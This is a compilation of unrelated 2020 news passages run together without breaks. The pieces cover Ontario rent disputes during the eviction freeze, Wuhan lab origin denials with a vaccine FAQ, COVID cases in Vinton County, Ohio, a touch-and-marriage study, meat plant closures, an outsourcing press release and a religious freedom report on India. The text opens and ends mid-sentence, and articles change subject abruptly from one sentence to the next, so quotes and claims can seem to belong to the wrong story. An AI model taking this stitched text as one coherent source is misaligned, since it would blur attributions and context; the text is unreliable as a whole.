neighbourhoods and at the tribunal. That tribunal, the Landlord and Tenant Board of Ontario, which is not operating as usual during the freeze, might not be able to handle those numbers. Kayla Andrade, the founder of lobby group Ontario Landlords Watch, says the already backed-up adjudication system will only get worse. Theres already a shortage of adjudicators, she says, leading to what was already a months-long wait before the pandemic began. Andrade, a resident of Cambridge, Ont., has been advocating for more than a decade for a system-wide change that protects landlords and tenants. She wants the government to provide more rent support to help both tenants and landlords during the pandemic, and to do more than just defer mortgages for some landlords. Now that the government is going through a pandemic, theyre putting all the onus onto private landlords, Andrade said. Andrade says when the pandemic ends, many smaller landlords will sell their properties, resulting in higher rent and a tighter screening process for the units that remain. Barrie resident Ian Foster is one of those landlords. He feels landlords are working in the only business not getting bailed out by the government, and hes tired of being lumped in with the big real estate companies. There is no light at the end of the tunnel, he said. Were all worried about our future. Andrade says while she understands the eviction freeze is meant to help tenants, its leaving some landlords in a difficult position, and highlighting their vulnerability. Chaman Sehgal is among them. His said his tenant has stopped paying full rent, which just covers the carrying cost of the house he bought for his parents, and he doesnt want to take the case to the Landlord and Tenant Board the last time he did, it cost him several thousand dollars, he said. He thinks landlords shouldnt have to pay interest on deferred mortgages during the pandemic. They have transferred the financial pressure over to us, Sehgal said. Ontario needs to fill that gap. He understands there are bad landlords out there, as well as bad tenants. But he feels many small landlords are getting lumped in with the bigger ones. For Steve da Silva and Hamza Zahid, the answers are not so clear cut. Da Silva and Zahid are residents in neighbouring Scarborough buildings owned by the same landlord. Since the pandemic began and people in the buildings started losing their jobs, they say their landlord has been calling tenants demanding they pay rent, and has even been handing out N4s, which is a notice of early lease termination due to nonpayment of rent. An N4 is not the same as an eviction order, and does not mean the tenant has to move out immediately. We have never and would never verbally call tenants to ask them to pay their rent with the CERB, the buildings landlord, Edie Neuberger, said in an email response to the Star. When a very small number of tenants contacted us in writing with concerns, we worked with them on a case-by-case basis to apply for government support and reach a fair payment agreement, Neuberger said. Unfortunately, in cases where we did not hear from a tenant, we were unable to work with them on a remedy. In those cases, we initiated the legal administrative process necessary to collect overdue payments, acknowledging that eviction proceedings at the Landlord and Tenant Board are continuing, but hearings for rent evictions are temporarily suspended, the email said. Da Silva said that although some tenants wrote to the landlord asking for leeway with Aprils rent, the landlord went ahead and took the rent anyway from tenants who had pre-authorized payments set up. She just went ahead and processed those, despite many tenants asking for some clemency, Zahid said. It revealed that she had no intentions to try to negotiate with people. In response, Neuberger said: A tenant is free to cancel their pre-authorized payments at any time and in fact, can cancel a pre-authorized payment, extending to two days after the payment has been processed. If the landlord was aware that a tenant wished to cancel their pre-authorized payment, it would have done so without question. Tenants should feel free to write to us if they are in need of rent relief, Neubergers response to the Star concludes. Rego says he understands the landlords perspective during the pandemic, but feels the law is on their side. If there wasnt such a need for government housing, he thinks far fewer people would be in the situation hes facing now. Everyones so afraid of being homeless that theyre not willing to stand up for (themselves). Da Silva and Zahid agree. Zahid says the rising cost of rent in Toronto combined with stagnant incomes means CERB barely covers a months cost of living for most. They say the pandemic is an opportunity for people to come together and show that change is needed. I think the pandemic is just shining a light and bringing into sharper focus the power differential between landlords and tenants, da Silva said. A year from now, I hope to see a stronger community. correction: This story has been updated to reflect that Kayla Andrade did not advocate putting a freeze on rent and mortgages. That opinion was expressed by others interviewed for this story. When I read the other day about nearly 7,000 Peace Corps volunteers in 60 countries having to return home, the news hit me hard. All their plans and projects wiped out in an instant, along with their hopes and dreams. Last year I was contacted by a PC volunteer in Ethiopia who searched for my name and finally found me on LinkedIn. He told me that a former student of mine, Getie, had been asking him about me, wondering if, by chance, he might know something about me. I remembered Getie as one of my best and brightest seventh-grade students in our village of Fenote Salam back in the 70s. I responded to the PC volunteer, and soon after Getie and I were corresponding. The first thing he wrote me was that he thought I was dead. That reminded me of Mark Twains comment. My buddy, Jerry, who lives in Colorado and was a PC volunteer in Paraguay during the 70s, recently finished a long visit to Chile. While having a coffee together soon after he arrived to Santiago, he told me very matter-of-factly that he was looking forward to doing some volunteering. As a consequence, we spent a fantastic day doing landscaping at a government-operated day care center for 100 kids in a poor neighborhood. Volunteering is a strong value. And fortunately, it never goes away. I certainly hope there will soon be a federal plan in the works to strengthen the Peace Corps. Claims that the coronavirus pandemic originated in a laboratory in the Chinese city of Wuhan have no basis in fact, the head of the lab told Reuters, adding that there were still no conclusive answers as to where the disease started. Conspiracy theorists have claimed SARS-CoV-2, now responsible for more than 200,000 deaths worldwide, was synthesised by the Wuhan Institute of Virology (WIV), based in the city where the disease was first identified. Though the scientific consensus is that the coronavirus evolved naturally, such claims have gained traction. U.S. President Donald Trump said on April 15 that his government was investigating whether it had originated in the Wuhan lab. Yuan Zhiming, professor at WIV and the director of its National Biosafety Laboratory, said "malicious" claims about the lab had been "pulled out of thin air" and contradicted all available evidence. "The WIV does not have the intention and the ability to design and construct a new coronavirus," he said in written responses to questions from Reuters. "Moreover, there is no information within the SARS-CoV-2 genome indicating it was manmade." COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Some conspiracy theories were fuelled by a widely read scientific paper from the Indian Institute of Technology, since withdrawn, claiming that proteins in the coronavirus shared an "uncanny similarity" with those of HIV. However, most scientists now say SARS-CoV-2 originated in wildlife, with bats and pangolins identified as possible host species. "More than 70% of emerging infectious diseases originated from animals, especially wild animals," Yuan said. "In recent years, we have seen increasing risks posed by close contact between humans and wild animals, with global climate change and the continuous expansion of human activities," he said. All seven known human coronaviruses have origins in bats, mice or domestic animals, scientists say. Yuan also rejected theories that the lab had accidentally released a coronavirus it had harvested from bats for research purposes, saying the lab's biosecurity procedures were strictly enforced. "High-level biosafety labs have sophisticated protective facilities and strict measures to ensure the safety of laboratory staff and protect the environment from contamination," he said. 'STILL NO ANSWERS' Conspiracy theories are common during epidemics. Russian scientists claimed the SARS outbreak in 2002-2003 originated in a lab, and during the emergence of HIV/AIDS in the late 1970s, some political groups also claimed the virus had been "spliced" together by government scientists. Though the new coronavirus was first identified in Wuhan, conspiracy theories circulating within China have suggested the virus did not originate there. Chinese foreign ministry spokesman Zhao Lijian said on Twitter in March that the coronavirus might have emerged in the United States, and there has been speculation on Chinese social media that it reached Wuhan via the World Military Games, held there in October. Yuan did not comment directly on the claims, but said there were "still no answers" about the virus's origins. He cited a paper by British and German scientists published this month suggesting that the SARS-CoV-2 variant circulating in the United States was a more "primitive" version of the one in China, and might have appeared there first. "Tracing the virus's origin is a very challenging scientific question with strong uncertainty," Yuan said. China has been accused of underestimating its total number of cases and trying to cover up the origins of the disease, which the government rejects. Asked whether his institute would cooperate with an international inquiry into the pandemic, Yuan said that he was unaware of "such a mechanism", but that the laboratory was already inspected regularly. He added that his institute was committed to transparency and would share all available data about the coronavirus in a timely fashion. "I hope everyone will put aside their prejudices and biases in order to provide a rational environment for research on tracing the origin of the virus," he said. Also read: Coronavirus News India LIVE Updates McARTHUR, Ohio - With the addition of Vinton County in southern Ohio, the Ohio Department of Health is now reporting that each of Ohios 88 counties has been infected with the coronavirus. Vinton County had been the lone exception since Harrison County became No. 87 when its first case was confirmed by the state nearly two weeks ago on April 15. That left many people asking: Why not Vinton? Health officials have no way to say for sure why Vinton County was the lone holdout for so long. But learning a little about Vinton County can offer some possibilities. * Vinton is Ohios smallest county, with an estimated 13,085 people stretched across 412 square miles. Thats 31 people per square mile, in comparison to 2,700 people per square mile in Cuyahoga County. * There are no cities, just four villages. Vinton County seat McArthur is the largest incorporated place with 1,658 residents, according to the latest estimates form the Census Bureau. The other villages are Hamden (population 862), Zelski (271) and Wilkesville (144). * Vinton County is located remotely, well off the interstate highway system. * There are no hospitals, no major medical centers and no coronavirus testing options within the county, outside of possible tests in nursing homes, according to the county health department. (This, however, is not to say medical treatment is not available; residents routinely use facilities in nearby counties.) The Ohio Department of Health first reported the Vinton County cases on Tuesday. However, news began to circulate locally earlier. The Vinton County Health Department on Saturday released a statement of two confirmed coronavirus cases of residents, both of whom had been in contact with a person from another county. Since then, a third Vinton County case has been confirmed, said Janelle McManis, deputy administrator for the Vinton County Health Department. No more information was released about the cases. Read related coverage Counting the jobs that can resume, or not, under Ohio Gov. Mike DeWines revised coronavirus order Mapping Ohios 16,325 coronavirus cases, Mondays update, trends See coronavirus cases by day for each Ohio county Ohio coronavirus deaths by county and age; Northeast Ohio heavily hit Ohio releases new details for coronavirus cases at nursing homes In Her Words is available as a newsletter. Sign up here to get it delivered to your inbox. In October 1918, Carrie Chapman Catt, the president of one of Americas national womens suffrage movements, lay sick in bed in New York. She was stricken with influenza, wrote Catts friend and biographer, Mary Gray Peck, referring to the Spanish flu pandemic that was rapidly tearing across the country and, by some accounts, killed close to 200,000 people in October alone. Chained to her bed like St. Lawrence to the gridiron. She looked and was extremely ill. Catt was, however, concerned with issues beyond but not unrelated to the pains of the flu, according to Peck. The invisible, unpredictable force of the pandemic risked derailing her carefully planned campaign to secure womens right to vote. The 19th Amendment was, at that moment, hanging by a thread in Congress. And the national suffrage movement, led in large part by two organizations Catts National American Woman Suffrage Association and the National Womans Party had managed to drum up immense momentum only to see it quickly dissipate as the country shut down public gatherings and ordered people to stay home. BINGHAMTON, NY -- Go ahead: Give your partner a hug or cuddle while you catch some Netflix. According to recently published research from Binghamton University, State University of New York, it just might build a stronger relationship. The study, led by Binghamton University doctoral student in psychology Samantha Wagner, particularly looks at the effects of non-sexual intimate touch -- for example, hugging, holding hands or cuddling on the couch, rather than actions intended to lead to sex. Attachment style refers to human social bonds and exists on a spectrum; avoidant individuals prefer more interpersonal distance, while anxious individuals seek greater closeness. This style develops in childhood, but can change over time and vary with the individual in question. "It all depends on how open, close and secure you feel with that person, which is impacted by many, many factors," Wagner said. To determine the connection of attachment style, touch satisfaction and marital satisfaction, researchers used a sample of 184 couples over the age of 18, consisting of husbands and wives; same-sex couples were excluded. Because the study protocol included hormonal sampling, individuals on hormonal therapy were also excluded, as well as postmenopausal, pregnant or breastfeeding women. They were interviewed separately on their attachment tendencies, the amount of touch and routine affection in their relationships, and their relationship satisfaction. Researchers expected to find that avoidant individuals preferred less touch, while anxious people prefer more. What they found was more nuanced. The more routine affection that couples experienced, the more they felt satisfied with their partners' touch, even if they had avoidant attachment styles. With low levels of physical affection, anxious husbands were less satisfied with the touch they received, but not anxious wives, who may instead choose to solicit the missing affection. For men, higher levels of routine affection are associated with relationship satisfaction; in other words, touch is a positive, the icing on the marriage cake. For women, lower levels of routine affection correlated with relationship dissatisfaction, meaning that touch is an essential ingredient and its absence is a negative. It's a subtle distinction. "There's something specific about touch satisfaction that interplays with relationship satisfaction but not dissatisfaction for wives," said Wagner, who noted that further research studies may be able to clarify the distinction. Whatever a couple's attachment insecurities, the perception of how their partner touches them has the greatest association with "touch satisfaction." In other words, more is better because they can more easily see that their partner is trying to engage with them. Overall, the study shows an association between non-sexual physical affection and solid marriages, although the current data can't establish cause and effect. "Interestingly, there's some evidence that holding your partner's hand while you're arguing de-escalates the argument and makes it more productive," said Wagner, who has used the technique with clients. However, Wagner emphasized that the study focused only on healthy, consensual touch -- not manipulation or abuse. Touch holds different meanings for people, she pointed out; someone with autism spectrum disorder may be overwhelmed by tactile sensitivity, and someone with a history of trauma may experience touch as averse. Wagner is, by her own admission, a hugger and has long been fascinated by the healing possibilities of touch; she wrote her senior thesis as a qualitative review of the uses and benefit of touch across the lifespan. But questions continued to arise: Why do some people enjoy touch more than others? And do they benefit more as a result? As the coronavirus pandemic continues, couples may want to consider adding more affection to decrease stress -- as long as their partners are receptive and willing. "Feel free to give some extra snugs on the couch. There's plenty of evidence that suggests touch as a way to decrease stress," she said. But she notes that the coronavirus pandemic also may lead to touch deprivation, as social distancing keeps us physically apart from one another. Consider, for example, healthcare workers who are quarantining themselves from their own families when they return home, to keep the virus from spreading to their loved ones. "I think we should all hold the loved ones we can a little closer and be thoughtful of the struggles that others might be having because they can't do just that," she said. "If anything is true for me, a hug has become even more precious than it was before." ### Co-authors include Binghamton University Associate Professor Richard Mattson, Stony Brook University Professor Joanne Davila, Binghamton University Psychology Chair and Professor Matthew Johnson and Binghamton University Associate Professor Nicole Cameron. The paper, "Touch me just enough: The intersection of adult attachment, intimate touch and marital satisfaction," was published in the Journal of Social and Personal Relationships. The pandemic has made it more difficult for current President Donald Trump to be re-elected in November, this according to Matt Gertken, vice president of geopolitical strategy at BCA Research. A Trump victory is no longer the base-case scenario, Gertken said, owing to the fact that a recession has traditionally made it difficult for an incumbent to be re-elected. President Trump was lined up to win the election, Gertken told Kitco News. Weve got good data on [the elections], going back over a hundred years of very regular data. It shows that elections that are held during recessions are usually very negative for the incumbent. Trump will be trying to win and do something that has not been done since 1904, which is despite a recession, win re-election. As unemployment rises, he said, voter turnout will also rise proportionally. However, voters will also take into consideration that the pandemic was not initially Trumps fault. Itll be important to see if his approval ratings continue to remain pretty firm in the wake of the crisis, but generally speaking you would expect that if unemployment goes up, the presidents approval goes down and hes much less likely to win re-election, he said. Favor has now shifted in favor of the Democrats, Gertken said. Id say the base case is that Biden wins simply because people look around in Octoberand they dont have a job, he said. North Korea remains a major risk to global stability, Gertken noted. If North Korean leader Kim Jong-Un were to pass away, tensions on the Korean Peninsula could escalate. If he dies, if he is incapacitated, that is a threat to global stability, so that will inject a risk premium into assets in the region, he said. Importantly, China may step in to fill the void of North Korea should the need arise. Today, were in an environment in which the United States and China do not have stable relations. In that context, if you then lose the North Korean leader, youd have a power vacuum, he said. President Donald Trump on Tuesday tried to calm mounting fears of a food crisis by telling Americans 'there is no shortage of meat.' The country's largest meat companies - including Smithfield Foods Inc , Cargill Inc , JBS USA and Tyson Foods Inc - have halted operations at about 20 slaughterhouses and processing plants in North America since April after workers became ill with the coronavirus, sparking fears of a meat shortage. The president took to twitter to try and calm concerns, retweeting a post from The Counter, a nonprofit that examines the nation's food supply. 'First, there is no shortage of meat destined for the grocery store shelf. It might take stores longer than usual to restock certain products, due to supply chain disruptions. But we have many millions of pounds of meat in cold storage across the nation,' it read. President Donald Trump tried to calm mounting fears of a food crisis by telling Americans 'there is no shortage of meat.' President Trump retweeted a message about the country's meat supply The pork industry has been hit especially hard by the coronavirus as meat processing plants have closed throughout the country The USDA reported last week there is 921 million pounds of chicken in storage and 467 million pounds of boneless beef, including hamburger, roasts and steaks. The demand for meat has gone up under stay-at-home orders with more Americans cooking instead of eating out. But before much of that meat could be sold at grocery stores it would need to be recut and repackaged, as restaurants buy in greater bulk than an individual at a market. Even if there is no shortage of meat, prices are expect to rise and selection is expected to decrease as companies warn that grocery shelves may take longer to fill. The Agriculture said last week beef prices are expect to rise 1% to 2% this year, poultry as much as 1.5% and pork between by from 2% and 3%. More than 5,000 meat and food processing workers have been infected by the coronavirus and 13 have died, the United Food and Commercial Workers International Union said last week. Meanwhile, live stock farmers are facing difficult choices. With meat processing plants unable to take animals, the farmers are considering having piglets aborted and euthanizing animals as they run out of space to house them. The pork industry typically slaughters around 510,000 pigs daily for bacon, hams and sausage. But, because of the coronavirus, plants that handle one-fifth of the daily total, or 105,000 pigs a day, have closed - leading to a backup on farms and raising the prospect of having to euthanize them and then render or bury the carcasses, The Wall Street Journal reported. The pork industry has been hit especially hard. Three of the largest process plants in the United States have gone offline indefinitely: Smithfield Foods in Sioux Falls, South Dakota, JBS pork processing in Worthington, Minnesota and Tyson Fresh Foods in Waterloo, Iowa. Unlike cattle, which can be housed outside in fields, hogs are fattened up inside temperature-controlled buildings. If they stay too long, they get big and injure themselves. Mature animals have to be moved out before the sows who were impregnated before the pandemic give birth. 'We have nowhere to go with the pigs,' Iowa farmer Al Van Beek told Reuters. 'What are we going to do?' The president's reassurance also comes as the chairman of Tyson Foods warned Sunday that 'the food supply chain' is breaking after coronavirus outbreaks forced the closure of their plants. John Tyson said 'millions of pounds of meat' will fail to reach stores and there will be a 'limited supply of our products available in grocery stores' until they are able to reopen facilities currently closed. Tyson Foods announced last week that it was shuttering two pork processing plants, including its largest in the United States, to contain the spread of the coronavirus. 'We have a responsibility to feed our country. It is as essential as healthcare. This is a challenge that should not be ignored. Our plants must remain operational so that we can supply food to our families in America,' John Tyson said. 'This is a delicate balance because Tyson Foods places team member safety as our top priority.' Tyson Foods, the largest U.S. meat supplier, said it will indefinitely suspend operations at its largest pork plant in Waterloo, Iowa, pictured, after operating at reduced capacity ATyson Foods Inc unit said on Thursday it will temporarily halt production at a beef facility in Pasco, Washington, pictured, adding to the meat processing plant the company has had to shutter as it tests workers for COVID-19 Tyson also closed a pork processing facility in Logansport, Indiana, pictured, while its more than 2,200 workers at the plant undergo testing for COVID-19 Tyson Foods, the largest U.S. meat supplier, said it will indefinitely suspend operations at its largest pork plant in Waterloo, Iowa, after operating at reduced capacity. Tyson also closed a pork processing facility in Logansport, Indiana, while its more than 2,200 workers at the plant undergo testing for COVID-19. John Tyson, pictured, has warned that 'the food supply chain' is breaking The company also temporarily closed a beef processing plant in Pasco, Washington. The closures are limiting the amount of meat the United States can produce during the outbreak and adding stress on farmers who are losing markets for their pigs. Lockdowns that aim to stop the spread of the coronavirus have also prevented farmers around the globe from delivering food products to consumers. Millions of laborers cannot get to fields for harvesting and planting, and there are too few truckers to keep goods moving. Tyson's statement, in the form of an advert in a number of newspapers on Sunday, came after workers at plants argued they were not being protected by their employer. Employers have struggled to contain the virus in meatpacking plants, where workers toil side by side on production lines and often share crowded locker rooms, cafeterias and rides to work. One Tyson worker at the plant in Waterloo told CNN he called HR amid concerns coronavirus was at the facility. Ernest Latiker said: 'I was scared for me and my family. They told me I was safe and they told me that everything was ok. 'They told me I have a better chance of catching the coronavirus going out to Walmart than at Tyson, if you come to work you're safe. 'I wanted to believe to them and I needed the money at the same time so I went to work.' Tyson Foods worker Ernest Latiker, pictured, said he called HR amid coronavirus concerns Tyson's statement in the form of an advert in a number of newspapers on Sunday came after workers at plants argued they were not being protected by their employer Spread of coronavirus closes meat plants Some of the facilities that have shut or reduced production as coronavirus spreads: JBS USA said it would indefinitely close a pork plant in Worthington, Minnesota, that processes 20,000 hogs a day. JBS closed a beef plant in Greeley, Colorado, until April 24. Smithfield Foods indefinitely shut a Sioux Falls, South Dakota, plant that produces about 4% to 5% of U.S. pork. Smithfield also shuttered two plants in Wisconsin and Missouri that process bacon and ham. Tyson Foods Inc closed a hog slaughterhouse in Columbus Junction, Iowa. It has since reopened National Beef Packing Co suspended cattle slaughtering at an Iowa Premium beef plant in Tama, Iowa National Beef said it suspended operations at a Dodge City, Kansas, beef plant for cleaning and to install stainless steel partitions Aurora Packing Company temporarily closed a beef plant in Aurora, Illinois JBS shut a beef plant in Souderton, Pennsylvania. It reopened on April 20 Cargill closed a plant in Hazleton, Pennsylvania, that produces meat for U.S. grocery stores The health department in Ogle County, Illinois, on April 17 ordered a Rochelle Foods plant owned by Hormel Foods Corp to close for two weeks Hormel-owned Alma Foods suspended production at a Kansas plant until May 4 Sanderson Farms Inc reduced chicken production to 1 million birds a week from 1.3 million at a plant in Moultrie, Georgia. Advertisement 'Consumers will see an impact at the grocery store as production slows,' Tyson Fresh Meats Group President Steve Stouffer had said last week. 'It means the loss of a vital market outlet for farmers and further contributes to the disruption of the nation's pork supply.' After the closure of the Logansport facility, slaughterhouses that account for 19 per cent of pork production in the United States will be shut. And coronavirus-related staffing shortages at chicken processing plants will lead farms in Maryland and Delaware to destroy nearly two million chickens. The Baltimore Sun reported Friday that the plants are unable to keep pace with the number of birds that are ready for harvest. They had been placed into poultry houses as chicks several weeks ago. The chickens will not be processed for meat. The trade group the Delmarva Poultry Industry said that every poultry plant on the Delmarva Peninsula has struggled with a reduced worker attendance. The reasons include workers being sick with the coronavirus and people following guidance to stay home if sick. The Delmarva Peninsula includes parts of Delaware, Maryland and Virginia. The trade group said that one unidentified company has become the first to do what's called 'depopulation.' The trade group said the company was unable to find other options, such as allowing another company to take the chickens. Delmarva Poultry Industry Inc said the chickens will killed 'using approved, humane methods'. The former Chief Veterinary Officer for the U.S. Department of Agriculture, John Clifford, said at the time of avian flu 'the fastest way and probably the most humane way to take care of this' was to 'shut off ventilation systems.' The trade group said that the extermination methods have been approved by the American Veterinary Medical Association for handling cases of infectious avian disease. Swiss Post Solutions logo This recognition by IAOP reaffirms SPSs success in delivering our corporate values: putting Clients First, fostering Innovative Thinking and delivering Operational Excellence. Swiss Post Solutions (SPS), a leading outsourcing provider for business process solutions and innovative services in document management, has been recognized for excellence in six categories by the International Association of Outsourcing Professionals (IAOP) as part of the 2020 Global Outsourcing 100 (GO100) program. IAOP denotes top performers among the GO100 honorees with distinguishing stars, based on the scoring of independent judges. This year, Swiss Post Solutions received distinguishing stars in the following categories: Customer References Demonstrating sustained excellence provided to top customers Programs for Innovation Specific programs that produce new forms of value for customers Corporate Social Responsibility Corporate programs that address such topics as community involvement and development, labor practices, human rights, fair operating practices, environmental impacts, consumer issues, and organizational governance Sustained Excellence Consistently high levels of service provided to customers Awards & Certifications Recent and public recognitions that demonstrate business and outsourcing excellence All-Star Multiple appearances on the Global Outsourcing 100 list In response to the achievement, Joerg Vollmer, CEO of SPS, stated, This recognition by IAOP reaffirms SPSs success in delivering our corporate values: putting Clients First, fostering Innovative Thinking and delivering Operational Excellence. Our approach has resonated in the global marketplace as we have helped our clients adapt, transform and succeed in an ever-changing business climate. SPS has helped companies around the world acclimate to changing economic and business conditions for more than a decade, and we will continue to deliver solutions that will support our clients as they adapt to the current challenges. Dan Moscatiello, CEO of SPS North America, added, "As a leading BPO provide in document management, SPS delivers transformational solutions, combining skilled people, industry specific process know how and advanced technologies like Artificial Intelligence and Robotic Process Automation. We are honored that IAOP has once again recognized SPSs achievements. The Global Outsourcing 100 and its sub-lists are essential references for companies seeking new and expanded relationships with the best companies in the industry. The lists include companies from around the world that provide the full spectrum of outsourcing services not just information technology and business process outsourcing, but also facility services, real estate and capital asset management, manufacturing and logistics. 2020 marks Swiss Post Solutions eighth consecutive year as part of The Global Outsourcing 100. About SPS We connect the physical and digital worlds Swiss Post Solutions (SPS) is a leading outsourcing provider for business processes solutions and innovative services in document management. A strong international client base relies on SPSs ability to envision, design and build end-to-end solutions and to be its trusted advisor for the key value drivers in BPO: location strategy, process optimization and technology, such as intelligent automation. Part of the Swiss Post Group headquartered in Bern, Switzerland, SPSs 7500 employees and specialized partners span the full range of the industry with focus on banking, insurance, telecommunications and healthcare, addressing customer needs in more than 20 countries. About IAOP IAOP is the global association that brings together customers, providers, and advisors in a collaborative, knowledge-based environment that promotes professional and organizational development, recognition, certification, and excellence to improve business service models and outcomes. Our members and affiliates worldwide are digging deep at IAOP conferences, learning at IAOP chapter meetings, getting trained and certified at IAOP courses and workshops, and connecting through IAOP social media, all with one goal: better business results. Whether you are a customer, provider or advisor, new to collaborative business models like outsourcing, or you are an experienced professional, IAOP connects you and your organization to our growing global community and to the resources you need to get the results your company deserves and demands. For more information and how you can become involved, visit http://www.IAOP.org. About The Global Outsourcing 100 As the global, standard-setting association and advocate for outsourcing professionals and the organizations they support, IAOP annually produces subsequent research to help companies in their outsourcing decisions: The Global Outsourcing 100 the annual listing of the worlds best outsourcing service providers in its twelfth year The Worlds Best Outsourcing Advisors the annual listing of the top outsourcing advisors and consultants in its ninth year The Global Outsourcing 100 and its sub-lists are essential references for companies seeking new and expanded relationships with the best companies in the industry. The lists include companies from around the world that provide the full spectrum of outsourcing services not just information technology and business process outsourcing, but also facility services, real estate and capital asset management, manufacturing and logistics. They include not only todays leaders but tomorrows rising stars. Companies of all sizes, from around the world and from across the entire outsourcing industry - information technology outsourcing, business process outsourcing, facility services, real estate, design, testing, manufacturing and logistics, to name a few can apply for inclusion on these lists. IAOP Membership IS NOT REQUIRED nor is it considered in compiling the final lists. To help ensure participation by a broad cross-section of the industry, The Global Outsourcing 100 list includes larger established global firms, referred to as 'Leaders,' smaller, faster-growing firms with less than $50 million per year in revenue and/or fewer than 5,000 employees, referred to as 'Rising Stars,' as well as Advisors, regardless of size. Companies are first organized by Leader, Rising Star or Advisor criteria, then evaluated based on the four judging categories. The final list is composed of the top-scoring companies, regardless of type. USCIRF urges State Dept. to name India on top religious freedom violators list Bipartisan commission releases 2020 annual report highlighting global persecution Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The U.S. Commission on International Religious Freedom has, for the first time since 2004, recommended that the State Department add India to its list of countries that engage in or tolerate egregious violations of religious freedom. USCIRF, a bipartisan panel of religious freedom activists and scholars tasked with advising the White House, State Department and Congress on religious freedom matters, released its 2020 annual report Tuesday morning. "While we do see some positive developments in some countries, we noted a noticeable deterioration of religious freedom in others," USCIRF Vice-Chair Nadine Maenza said on a press call on Tuesday. The report is shorter than it has been in years past to be more accessible to policymakers and it emphasizes key findings that justify the commissions reasoning for recommending that 14 countries be designated as countries of particular concern. The CPC designation is the State Departments highest designation when it comes to the issue of religious freedom, which carries with it the potential for crippling sanctions and other negative consequences for violating countries. Currently, the State Department has designated nine countries as CPCs: Burma, China, Eritrea, Iran, North Korea, Pakistan, Saudi Arabia, Tajikistan and Turkmenistan. In its report, USCIRF called for the redesignation of those nine countries and again urged that Vietnam, Russia, Syria and Nigeria also be designated as CPCs. This year, India was newly added to USCIRFs list for CPC designation. India took a sharp downward turn in 2019, the report reads. India had, since 2009, been labeled by USCIRF as a Tier 2 country of concern, a designation category that the commission eliminated in 2020. "Perhaps the steepest and most alarming deterioration of religious freedom conditions [in 2019] was in India, the largest democracy in the world," Maenza told reporters. USCIRF Chair Tony Perkins said "the majority of the commissioners believe [India] is trending in a very negative direction." According to the report, violence against Christians in India increased in 2019 and there were at least 328 reported incidents of Christian persecution in 2019. The commission said attacks frequently targeted prayer services and led to the widespread shuttering or destruction of churches. Last year, the Christian group ADF India reported that there were at least 1,000 incidents of Christian persecution in India between 2014 and 2015. Thus far in 2020, the United Christian Forum in India reports that there were 56 threats against Christians and 78 incidents of violence between January and March of 2020 including mob attacks on religious leaders, Christians and churches. In 2018, the Supreme Court urged the central and state governments to combat lynchings with stricter laws. When, by July 2019, the central government and 10 states had failed to take appropriate action, the Supreme Court again directed them to do so, the USCIRF report noted. Rather than comply, Home Minister Shah called existing laws sufficient and denied lynchings had increased, while the Home Ministry instructed the National Crime Records Bureau to omit lynchings from the 2019 crime data report. The recommendation comes as some religious advocates have been concerned with the lack of vocal opposition in Washington to escalating religious freedom abuses being committed by radical Hindu extremists emboldened by the Bharatiya Janata Party-led government. India ranks as the 10th-worst country in the world for Christian persecution, according to Open Doors USA. USCIRF also stressed that the Indian national government has used its strengthened parliamentary majority to institute national-level policies violating religious freedom across India, especially for Muslims. USCIRF held a hearing in March to address concerns regarding recently enacted Citizenship (Amendment) Act, which was meant to provide protection for non-Muslim religious minorities, and how it could result in thousands of Muslim citizens being rendered stateless. The CAAs passage in December sparked nationwide protests that police and government-aligned groups met with violence, the USCIRF report reads. [I]n Uttar Pradesh, the BJP chief minister Yogi Adityanath pledged revenge against anti-CAA protestors and stated they should be fed bullets not biryani. In December, close to 25 people died in attacks against protestors and universities in UP alone. According to reports, police action specifically targeted Muslims. According to the report, over 1 million Muslim residents were excluded from the National Register of Citizens in Indias Assam state. According to Perkins, the intentions of the national leaders is to bring the National Register of Citizens to the entire country. He said that if the National Register of Citizens is extrapolated out to other states, it will make it difficult for Muslims to prove their citizenship and there could potentially be 100 million people, mostly Muslims, left stateless because of their religion. USCIRF voiced concerns with how national and state governments have allowed nationwide campaigns of harassment and violence against religious minorities to continue with impunity. As cows are seen as sacred animals by Hindus, cow vigilantes have targeted people accused of slaughtering cows or consuming beef. Police often arrest those attacked for cow slaughter or conversion activities rather than the perpetrators, the report reads. In addition to the CPC designation, USCIRF calls on the U.S. to impose targeted sanctions on Indian government agencies and officials responsible for violations of religious freedom by freezing their assets and barring them entry into the U.S. The USCIRF report also calls on the State Department to place 15 countries on its less-severe Special Watch List for governments that engage in or tolerate severe violations of religious freedom. The State Department already lists seven countries on the SWL. Those include Comoros, Russia, Uzbekistan, Sudan (previously listed as a CPC), Nigeria, Cuba and Nicaragua. USCIRF calls on the agency to also designate Afghanistan, Algeria, Azerbaijan, Bahrain, Central African Republic, Egypt, Indonesia, Iraq, Kazakhstan, Malaysia and Turkey as SWLs. The USCIRF report also highlights global abuses and trends that took place in 2019 and in early 2020. For the first time in history, USCIRF is not recommending Sudan be designated as a CPC as the African countrys transitional government has instituted historic reforms, such as the repeal of a strict public order law that restricted the rights of women. Sudans new transitional constitution has eliminated reference to Islam as the primary source of law and includes a provision protecting freedom of belief and worship. But as much work remains to be done in Sudan to guarantee freedom of belief for all, the USCIRF report affirms the State Departments SWL designation. For the first time since 2005, USCIRF is not recommending that Uzbekistan be designated as a CPC since the government has made progress in addressing longstanding religious freedom concerns. According to USCIRF, Uzbekistan has banned authorities from raiding religious communities for unregistered activity or possession of religious literature. Although things are improving in Sudan and Uzbekistan, the situation still remains dire for many of the countries highlighted in the report. In Russia, at 